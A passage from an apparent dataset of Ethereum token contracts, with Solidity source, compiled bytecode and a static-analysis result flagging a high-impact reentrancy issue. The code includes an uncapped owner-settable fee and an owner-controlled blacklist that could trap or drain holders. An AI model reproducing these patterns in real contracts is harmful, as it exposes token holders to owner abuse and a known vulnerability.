function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
}
|
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f04614610557578063dd62ed3e14610577578063ea1644d5146105bd578063f2fde38b146105dd57600080fd5b8063a2a957bb146104d2578063a9059cbb146104f2578063bfd7928414610512578063c3c8cd801461054257600080fd5b80638f70ccf7116100d15780638f70ccf7146104505780638f9a55c01461047057806395d89b411461048657806398a5c315146104b257600080fd5b80637d1db4a5146103ef5780637f2feddc146104055780638da5cb5b1461043257600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461038557806370a082311461039a578063715018a6146103ba57806374010ece146103cf57600080fd5b8063313ce5671461030957806349bd5a5e146103255780636b999053146103455780636d8aa8f81461036557600080fd5b80631694505e116101ab5780631694505e1461027457806318160ddd146102ac57806323b872dd146102d35780632fd689e3146102f357600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024457600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f7366004611965565b6105fd565b005b34801561020a57600080fd5b5060408051808201909152600b81526a2237b3b290243ab73a32b960a91b60208201525b60405161023b9190611a2a565b60405180910390f35b34801561025057600080fd5b5061026461025f366004611a7f565b61069c565b604051901515815260200161023b565b34801561028057600080fd5b50601454610294906001600160a01b031681565b6040516001600160a01b03909116815260200161023b565b3480156102b857600080fd5b5069d3c21bcecced656536005b60405190815260200161023b565b3480156102df57600080fd5b506102646102ee366004611aab565b6106b3565b3480156102ff57600080fd5b506102c560185481565b34801561031557600080fd5b506040516009815260200161023b565b34801561033157600080fd5b50601554610294906001600160a01b031681565b34801561035157600080fd5b506101fc610360366004611aec565b61071c565b34801561037157600080fd5b506101fc610380366004611b19565b610767565b34801561039157600080fd5b506101fc6107af565b3480156103a657600080fd5b506102c56103b5366004611aec565b6107fa565b3480156103c657600080fd5b506101fc61081c565b3480156103db57600080fd5b506101fc6103ea366004611b34565b610890565b3480156103fb57600080fd5b506102c560165481565b34801561041157600080fd5b506102c5610420366004611aec565b60116020526000908152604090205481565b34801561043e57600080fd5b506000546001600160a01b0316610294565b34801561045c57600080fd5b506101fc61046b366004611b19565b6108bf565b34801561047c57600080fd5b506102c560175481565b34801561049257600080fd5b506040805180820190915260038152620a29e960eb1b602082015261022e565b3480156104be57600080fd5b506101fc6104cd366004611b34565b610907565b3480156104de57600080fd5b506101fc6104ed366004611b4d565b610936565b3480156104fe57600080fd5b5061026461050d366004611a7f565b610974565b34801561051e57600080fd5b5061026461052d366004611aec565b60106020526000908152604090205460ff1681565b34801561054e57600080fd5b506101fc610981565b34801561056357600080fd5b506101fc610572366004611b7f565b6109d5565b34801561058357600080fd5b506102c5610592366004611c03565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105c957600080fd5b506101fc6105d8366004611b34565b610a76565b3480156105e957600080fd5b506101fc6105f8366004611aec565b610aa5565b6000546001600160a01b031633146106305760405162461bcd60e51b815260040161062790611c3c565b60405180910390fd5b60005b81518110156106985760016010600084848151811061065457610654611c71565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061069081611c9d565b915050610633565b5050565b60006106a9338484610b8f565b5060015b92915050565b60006106c0848484610cb3565b610712843361070d85604051806060016040528060288152602001611db7602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111ef565b610b8f565b5060019392505050565b6000546001600160a01b031633146107465760405162461bcd60e51b815260040161062790611c3c565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107915760405162461bcd60e51b815260040161062790611c3c565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107e457506013546001600160a01b0316336001600160a01b0316145b6107ed57600080fd5b476107f781611229565b50565b6001600160a01b0381166000908152600260205260408120546106ad90611263565b6000546001600160a01b031633146108465760405162461bcd60e51b815260040161062790611c3c565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108ba5760405162461bcd60e51b815260040161062790611c3c565b601655565b6000546001600160a01b031633146108e95760405162461bcd60e51b815260040161062790611c3c565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146109315760405162461bcd60e51b815260040161062790611c3c565b601855565b6000546001600160a01b031633146109605760405162461bcd60e51b815260040161062790611c3c565b600893909355600a91909155600955600b55565b60006106a9338484610cb3565b6012546001600160a01b0316336001600160a01b031614806109b657506013546001600160a01b0316336001600160a01b0316145b6109bf57600080fd5b60006109ca306107fa565b90506107f7816112e7565b6000546001600160a01b031633146109ff5760405162461bcd60e51b815260040161062790611c3c565b60005b82811015610a70578160056000868685818110610a2157610a21611c71565b9050602002016020810190610a369190611aec565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a6881611c9d565b915050610a02565b50505050565b6000546001600160a01b03163314610aa05760405162461bcd60e51b815260040161062790611c3c565b601755565b6000546001600160a01b03163314610acf5760405162461bcd60e51b815260040161062790611c3c565b6001600160a01b038116610b345760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610627565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bf15760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610627565b6001600160a01b038216610c525760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610627565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d175760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610627565b6001600160a01b038216610d795760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610627565b60008111610ddb5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610627565b6000546001600160a01b03848116911614801590610e0757506000546001600160a01b03838116911614155b156110e857601554600160a01b900460ff16610ea0576000546001600160a01b03848116911614610ea05760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610627565b601654811115610ef25760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610627565b6001600160a01b03831660009081526010602052604090205460ff16158015610f3457506001600160a01b03821660009081526010602052604090205460ff16155b610f8c5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610627565b6015546001600160a01b038381169116146110115760175481610fae846107fa565b610fb89190611cb8565b106110115760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610627565b600061101c306107fa565b6018546016549192508210159082106110355760165491505b80801561104c5750601554600160a81b900460ff16155b801561106657506015546001600160a01b03868116911614155b801561107b5750601554600160b01b900460ff165b80156110a057506001600160a01b03851660009081526005602052604090205460ff16155b80156110c557506001600160a01b03841660009081526005602052604090205460ff16155b156110e5576110d3826112e7565b4780156110e3576110e347611229565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061112a57506001600160a01b03831660009081526005602052604090205460ff165b8061115c57506015546001600160a01b0385811691161480159061115c57506015546001600160a01b03848116911614155b15611169575060006111e3565b6015546001600160a01b03858116911614801561119457506014546001600160a01b03848116911614155b156111a657600854600c55600954600d555b6015546001600160a01b0384811691161480156111d157506014546001600160a01b03858116911614155b156111e357600a54600c55600b54600d555b610a7084848484611470565b600081848411156112135760405162461bcd60e51b81526004016106279190611a2a565b5060006112208486611cd0565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610698573d6000803e3d6000fd5b60006006548211156112ca5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610627565b60006112d461149e565b90506112e083826114c1565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061132f5761132f611c71565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561138357600080fd5b505afa158015611397573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113bb9190611ce7565b816001815181106113ce576113ce611c71565b6001600160a01b0392831660209182029290920101526014546113f49130911684610b8f565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac9479061142d908590600090869030904290600401611d04565b600060405180830381600087803b15801561144757600080fd5b505af115801561145b573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b8061147d5761147d611503565b611488848484611531565b80610a7057610a70600e54600c55600f54600d55565b60008060006114ab611628565b90925090506114ba82826114c1565b9250505090565b60006112e083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061166c565b600c541580156115135750600d54155b1561151a57565b600c8054600e55600d8054600f5560009182905555565b6000806000806000806115438761169a565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061157590876116f7565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115a49086611739565b6001600160a01b0389166000908152600260205260409020556115c681611798565b6115d084836117e2565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161161591815260200190565b60405180910390a3505050505050505050565b600654600090819069d3c21bcecced6565360061164582826114c1565b8210156116635750506006549269d3c21bcecced6565360092509050565b90939092509050565b6000818361168d5760405162461bcd60e51b81526004016106279190611a2a565b5060006112208486611d75565b60008060008060008060008060006116b78a600c54600d54611806565b92509250925060006116c761149e565b905060008060006116da8e87878761185b565b919e509c509a509598509396509194505050505091939550919395565b60006112e083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111ef565b6000806117468385611cb8565b9050838110156112e05760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610627565b60006117a261149e565b905060006117b083836118ab565b306000908152600260205260409020549091506117cd9082611739565b30600090815260026020526040902055505050565b6006546117ef90836116f7565b6006556007546117ff9082611739565b6007555050565b6000808080611820606461181a89896118ab565b906114c1565b90506000611833606461181a8a896118ab565b9050600061184b826118458b866116f7565b906116f7565b9992985090965090945050505050565b600080808061186a88866118ab565b9050600061187888876118ab565b9050600061188688886118ab565b905060006118988261184586866116f7565b939b939a50919850919650505050505050565b6000826118ba575060006106ad565b60006118c68385611d97565b9050826118d38583611d75565b146112e05760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610627565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107f757600080fd5b803561196081611940565b919050565b6000602080838503121561197857600080fd5b823567ffffffffffffffff8082111561199057600080fd5b818501915085601f8301126119a457600080fd5b8135818111156119b6576119b661192a565b8060051b604051601f19603f830116810181811085821117156119db576119db61192a565b6040529182528482019250838101850191888311156119f957600080fd5b938501935b82851015611a1e57611a0f85611955565b845293850193928501926119fe565b98975050505050505050565b600060208083528351808285015260005b81811015611a5757858101830151858201604001528201611a3b565b81811115611a69576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611a9257600080fd5b8235611a9d81611940565b946020939093013593505050565b600080600060608486031215611ac057600080fd5b8335611acb81611940565b92506020840135611adb81611940565b929592945050506040919091013590565b600060208284031215611afe57600080fd5b81356112e081611940565b8035801515811461196057600080fd5b600060208284031215611b2b57600080fd5b6112e082611b09565b600060208284031215611b4657600080fd5b5035919050565b60008060008060808587031215611b6357600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611b9457600080fd5b833567ffffffffffffffff80821115611bac57600080fd5b818601915086601f830112611bc057600080fd5b813581811115611bcf57600080fd5b8760208260051b8501011115611be457600080fd5b602092830195509350611bfa9186019050611b09565b90509250925092565b60008060408385031215611c1657600080fd5b8235611c2181611940565b91506020830135611c3181611940565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611cb157611cb1611c87565b5060010190565b60008219821115611ccb57611ccb611c87565b500190565b600082821015611ce257611ce2611c87565b500390565b600060208284031215611cf957600080fd5b81516112e081611940565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d545784516001600160a01b031683529383019391830191600101611d2f565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611d9257634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611db157611db1611c87565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212209d64e64400a867bf4266209152396b7f6b19da6f3d89c7be2b17612a7ec5a9b064736f6c63430008090033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
| 6,222 |
0xe5dc73c1aa2240314abfd53b071565af49040bac
|
// Telegram : t.me/FukuiInu
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract FukuiInu is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = " Fukui Inu";
string private constant _symbol = " FKINU ";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 2;
uint256 private _teamFee = 3;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1) {
_teamAddress = addr1;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 2;
_teamFee = 3;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (60 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount);
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router =
IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = false;
_maxTxAmount = 100000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, 5);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612e48565b60405180910390f35b34801561015057600080fd5b5061016b6004803603810190610166919061296b565b61045e565b6040516101789190612e2d565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a39190612fea565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce919061291c565b61048c565b6040516101e09190612e2d565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b919061288e565b610565565b005b34801561021e57600080fd5b50610227610655565b604051610234919061305f565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f91906129e8565b61065e565b005b34801561027257600080fd5b5061027b610710565b005b34801561028957600080fd5b506102a4600480360381019061029f919061288e565b610782565b6040516102b19190612fea565b60405180910390f35b3480156102c657600080fd5b506102cf6107d3565b005b3480156102dd57600080fd5b506102e6610926565b6040516102f39190612d5f565b60405180910390f35b34801561030857600080fd5b5061031161094f565b60405161031e9190612e48565b60405180910390f35b34801561033357600080fd5b5061034e6004803603810190610349919061296b565b61098c565b60405161035b9190612e2d565b60405180910390f35b34801561037057600080fd5b5061038b600480360381019061038691906129a7565b6109aa565b005b34801561039957600080fd5b506103a2610afa565b005b3480156103b057600080fd5b506103b9610b74565b005b3480156103c757600080fd5b506103e260048036038101906103dd9190612a3a565b6110cf565b005b3480156103f057600080fd5b5061040b600480360381019061040691906128e0565b611217565b6040516104189190612fea565b60405180910390f35b60606040518060400160405280600a81526020017f2046756b756920496e7500000000000000000000000000000000000000000000815250905090565b600061047261046b61129e565b84846112a6565b6001905092915050565b6000670de0b6b3a7640000905090565b6000610499848484611471565b61055a846104a561129e565b6105558560405180606001604052806028815260200161372360289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050b61129e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c309092919063ffffffff16565b6112a6565b600190509392505050565b61056d61129e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f190612f2a565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b61066661129e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106ea90612f2a565b60405180910390fd5b80600e60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661075161129e565b73ffffffffffffffffffffffffffffffffffffffff161461077157600080fd5b600047905061077f81611c94565b50565b60006107cc600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d00565b9050919050565b6107db61129e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610868576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161085f90612f2a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1